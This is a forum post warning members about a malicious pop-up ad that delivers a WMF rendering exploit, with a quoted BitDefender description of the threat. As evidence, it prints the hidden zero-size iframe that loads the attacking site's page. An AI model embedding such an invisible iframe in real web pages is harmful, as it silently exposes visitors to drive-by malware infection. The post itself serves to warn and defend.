While browsing the forums, you might face a strange pop-up asking you to download a .wmv file. DO NOT download and/or try to play this. The pop-up looks somewhat like this (provided by Dha:
I believe this is being spread through one of the Ads displayed at Asta. Some guy has this worm embedded in his ads - that's the only logical explanation I can find.. Different anti-virus might identify it with different names - but essentially, it's a variant of the following worm. Most likely it's coming from an ad of taalkzforum.com. yes I confirmed it by visitng their page. If you visit taalkzforum you get flooded with this pop-up. If you inspect the forum page, you'll see an iframe containing the following code:
HTML
<iframe src="http://www.taalkzforum.com/ukpn/index.html" width=0 height=0></iframe>
When the forum page loads, it calls their URL to show in that iframe and naturally their site starts sending you this worm.
QUOTE(BitDefender.Com)
Exploit.Win32.WMF-PFV
Spreading: LOW Discovered : 2005 Dec 27
Damage: LOW
Size: 16 KB
SYMPTOMS:
Automatic worm or spyware installation, without confirmation.
TECHNICAL DESCRIPTION:
This is a WMF (Windows Meta-File) rendering exploit. The rendering bug that is exploited lies in the Windows Picture and Fax Viewer.
The WMF file could be placed on a web site that the victim visits and gets infected.
The exploit may create a shell on the victim computer, or may download and install a worm or a spyware trojan.
The exploits 'works' on Internet Explorer and some versions of Mozilla. However some browsers may display a confirmation dialog about it.
Source: http://www.bitdefender.com/VIRUS-173651-en...32.WMF-PFV.html
For a realtime report on how this worm is spreading and how many systems it has infected, check this:
Real-time Virus Reporting - Last 24 hours
Nothing to be really scared of - as long as you donot execute/try to play that file. If you click cancel you won't be infected and can carry on browsing the forums normally.
I'm trying to get in touch with OpaQue and get this ad blocked ASAP.
Thankx